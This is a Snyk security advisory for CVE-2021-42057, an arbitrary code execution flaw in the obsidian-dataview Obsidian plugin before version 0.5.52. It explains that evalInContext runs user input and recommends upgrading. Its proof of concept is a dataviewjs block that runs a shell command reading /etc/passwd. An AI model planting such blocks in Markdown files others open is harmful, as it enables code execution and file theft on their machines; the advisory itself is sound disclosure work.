Arbitrary Code Execution Affecting obsidian-dataview package, versions <0.5.52
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.16% (53rd
percentile)
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Test your applications- Snyk ID SNYK-JS-OBSIDIANDATAVIEW-1912069
- published 5 Nov 2021
- disclosed 5 Nov 2021
- credit Trenton Ivey
Introduced: 5 Nov 2021
CVE-2021-42057 Open this link in a new tabHow to fix?
Upgrade obsidian-dataview to version 0.5.52 or higher.
Overview
obsidian-dataview is an Advanced data views for Obsidian.md.
Affected versions of this package are vulnerable to Arbitrary Code Execution. The evalInContext function executes user input, which allows an attacker to craft malicious Markdown files that will execute arbitrary code once opened.
PoC
```dataviewjs
require("child_process").exec("cat /etc/passwd",(_0,stdout,_1) => dv.span(stdout));""
```
References
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